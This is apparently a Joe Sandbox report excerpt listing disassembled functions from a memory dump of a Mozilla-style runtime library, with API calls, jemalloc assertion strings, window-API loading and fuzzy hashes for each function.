MOZ_CRASH(), xrefs: 6C999B42
Compile-time page size does not divide the runtime one., xrefs: 6C999B38
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C999993
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9999D2
MALLOC_OPTIONS, xrefs: 6C9997CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C999BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9999BD

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction ID: c0e1ffa2d808ca2ed9fe2b3239c90870cbed51e3ade60e2836a50fb0a2951bfc
Opcode Fuzzy Hash: 0f2a88c4fbcbc365681c0b84ac4399d86df3a31de8b49aa8f0647872b79cd4a6
Instruction Fuzzy Hash: 3C538E71A097018FD718CF29C580615FBE5BF8A328F2DC6ADE8698B791D771E841CB81

Function 6C9A0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9A0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C9A0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C9A0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C9A1031
LeaveCriticalSection.KERNEL32(?), ref: 6C9A10D0
EnterCriticalSection.KERNEL32(?), ref: 6C9A117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C9A1C39
EnterCriticalSection.KERNEL32(6C9EE744), ref: 6C9A3391
LeaveCriticalSection.KERNEL32(6C9EE744), ref: 6C9A33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C9A3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A3437

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A3559, 6C9A382D, 6C9A3848
<jemalloc>, xrefs: 6C9A3941, 6C9A39F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9A37A8
MOZ_CRASH(), xrefs: 6C9A3950
Compile-time page size does not divide the runtime one., xrefs: 6C9A3946
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9A3793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9A37D2
MALLOC_OPTIONS, xrefs: 6C9A35FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A3A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9A37BD

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction ID: e12d35ac7dbca415c34af0225532d300500224f184059f072eae92feaba45c07
Opcode Fuzzy Hash: 5529607a8d8549e600ff2f9e2e032367c3b9deb1326f438171aaceec01c30f69
Instruction Fuzzy Hash: 62539D71A05B01CFD304CF69C540615FBE5BF8A328F29C6ADE8699BB91D771E842CB81

Function 6C9C55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C99E1A5), ref: 6C9C5606
LoadLibraryW.KERNEL32(gdi32,?,6C99E1A5), ref: 6C9C560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9C5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9C563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9C566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9C567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9C5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9C56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9C56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9C56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9C56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9C5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9C572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9C5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9C5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9C577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9C5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9C57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9C57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9C57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9C57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9C57FF

Strings

MonitorFromWindow, xrefs: 6C9C578D
user32, xrefs: 6C9C5601
GetWindowDC, xrefs: 6C9C5710
SetWindowPos, xrefs: 6C9C56F7
GetMonitorInfoW, xrefs: 6C9C57A2
LoadIconW, xrefs: 6C9C575B
LoadCursorW, xrefs: 6C9C5774
StretchDIBits, xrefs: 6C9C57CC
RegisterClassW, xrefs: 6C9C56AC
GetDpiForWindow, xrefs: 6C9C5690
EnableNonClientDpiScaling, xrefs: 6C9C5666
CreateWindowExW, xrefs: 6C9C56C5
CreateSolidBrush, xrefs: 6C9C57E4
SetWindowLongPtrW, xrefs: 6C9C57B7
AreDpiAwarenessContextsEqual, xrefs: 6C9C5637
ShowWindow, xrefs: 6C9C56DE
FillRect, xrefs: 6C9C5729
GetSystemMetricsForDpi, xrefs: 6C9C5677
gdi32, xrefs: 6C9C560A
DeleteObject, xrefs: 6C9C57F9
GetThreadDpiAwarenessContext, xrefs: 6C9C562D
ReleaseDC, xrefs: 6C9C5742

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction ID: 707d817e7f495cb259b708155250f66a34ec8c2642faa626c07694ccf5b52fe6
Opcode Fuzzy Hash: c478249c45f030af10dafa819abf94b017a23ed3ca62e2946fc572ccdccdfe5e
Instruction Fuzzy Hash: 99514370709702ABDF415F359D4493B3ABCAF7E249730846AA921E2A56EF70D800DF66

Function 6C9C34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C3EE2

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9C61DD
Part of subcall function 6C9C6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9C622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4157

Part of subcall function 6C9C6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9C6250
Part of subcall function 6C9C6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9C6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9C4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9C4896
free.MOZGLUE ref: 6C9C489F

Strings

, xrefs: 6C9C4CD2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction ID: 016b069f170d1614d8ec4d2ff502f8c55f6f1cac5bc5c2f067cdeb52b3adcac6
Opcode Fuzzy Hash: 712e78fc0cf5bccd93dcf7e65081610fa6e6aeb93cf5f0a14cbf66aa0cc4a44e
Instruction Fuzzy Hash: 9CF23C74A08B808FC761CF28C0846AAFBF1BF99358F118A5ED99997711DB31E495CF42

Function 6C9764C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9764DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9764F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C976505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C976518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C97652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C97671C
GetCurrentProcess.KERNEL32 ref: 6C976724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C97672F
GetCurrentProcess.KERNEL32 ref: 6C976759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C976764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C976A80
GetSystemInfo.KERNEL32(?), ref: 6C976ABE
__Init_thread_footer.LIBCMT ref: 6C976AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C976AF7

Strings

nvdxgiwrap.dll, xrefs: 6C976513
user32.dll, xrefs: 6C976526
_etoured.dll, xrefs: 6C9764ED
detoured.dll, xrefs: 6C9764DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C976798
nvd3d9wrap.dll, xrefs: 6C976500

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction ID: 1ebd9c1e596bd8157fed98672f2662e48bfa4f8c25f513cffeb9bf39d02dfa4f
Opcode Fuzzy Hash: 32585ff918b024c8ace0db0fb7522ad03384dc46ac55d275918891e78fabf0f0
Instruction Fuzzy Hash: B2F1B1709062199FDF30CF64CC48B9AB7B9AF5A318F1442D9D859A7641E731EE84CFA0

Function 6C9960A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9960C9
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C99610D
EnterCriticalSection.KERNEL32(?), ref: 6C99618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9961F9

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C996BC7, 6C996F97, 6C996FB2
<jemalloc>, xrefs: 6C996AA9, 6C996B59
MOZ_CRASH(), xrefs: 6C996AB8
Compile-time page size does not divide the runtime one., xrefs: 6C996AAE
MALLOC_OPTIONS, xrefs: 6C996888
: (malloc) Unsupported character in malloc options: ', xrefs: 6C996B6A

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction ID: 2f998ff6f4689630e24fb63a5a4fa87ec09506a72b39c6ea02835af5830c453f
Opcode Fuzzy Hash: 5f75f4d167f9bfc6bf7e63d5cd48666383c74c2262f03865b7a26fcead0bb717
Instruction Fuzzy Hash: 6BA2AA71A097018FD748CF29C450615BBE5BF9A728F2DC66DE86A8BB91D731E840CBC1

Function 6C9CC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9CC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9CC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9CE472

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c216d3f853127872e498182a52b53461f5855394c01305c43767d95ea88e07b
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 4433AF72E4021ACFCB04CF98C8806ADBBF2FF49310F298269D955AB755D731E945CB92

Function 6C97FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7B8), ref: 6C97FF81
LeaveCriticalSection.KERNEL32(6C9EE7B8), ref: 6C98022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C980240
EnterCriticalSection.KERNEL32(6C9EE768), ref: 6C98025B
LeaveCriticalSection.KERNEL32(6C9EE768), ref: 6C98027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C97FE99, 6C97FEB7, 6C97FED3, 6C980DB8, 6C980DD3, 6C9819B4
<jemalloc>, xrefs: 6C980D62, 6C980D76, 6C980DA7
: (malloc) Error in VirtualFree(), xrefs: 6C980D67, 6C980D7B, 6C980DAC

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction ID: 7b221d8877f1e3165e6fe206dcba36c739388148f35621d083aa014edaa9518b
Opcode Fuzzy Hash: bff5209f1f24d3b837af5885179f1916c71004dfaee46b9b21892dd2c0d8a24c
Instruction Fuzzy Hash: 2BC2C371A077418FD714CF28C880716BBE5BF8A728F28CA6DE4698B795D771E841CB81

Function 6C9CE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9CE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9CEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9CF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9CF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9D0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9D0ED4

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction ID: d58e5d8ab9321ed7b52198520c31a87bd4fa81117fa56b46f4c3302579944af9
Opcode Fuzzy Hash: 8b80cfa7d9a3fd4bd3f8c8bd01c264476a501494412d1b614835f72794a4b636
Instruction Fuzzy Hash: F1639C71E0065A8FCB04CFA8C8806EDFBB2FF89314F298269D855BB755D730A945CB91

Function 6C9A3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9C7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3E7D,?,?,?,6C9A3E7D,?,?), ref: 6C9C777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C9A3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9A3F5C
VerSetConditionMask.NTDLL ref: 6C9A3F8D
VerSetConditionMask.NTDLL ref: 6C9A3F99
VerSetConditionMask.NTDLL ref: 6C9A3FA0
VerSetConditionMask.NTDLL ref: 6C9A3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C9A3FB4

Strings

nvinit.dll, xrefs: 6C9A4479
nvd3d9wrap.dll, xrefs: 6C9A4466

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction ID: d9db2e05ad89c020ab18ab052545c808f936786bbbaa743fce39077269253844
Opcode Fuzzy Hash: 8e79294dc9d8b2558f488515e618c23241d44965d72f6e8b44dc368ea57dde05
Instruction Fuzzy Hash: 3B52F472611B848FD714DF74C880AAB77F9AF65208F14096DE5938BB42DB34F90ACB60

Function 6C98ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C98EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C98EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C991695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C991770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C991A3E

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
Instruction ID: 58ac3c185a0790939abd79b3fb5da30e328770ff658ae87762a03b7effe701cf
Opcode Fuzzy Hash: 3a230924aab56fe7e041dfcb756e7988bdbb574b1a2e7d3a76833217185b93d3
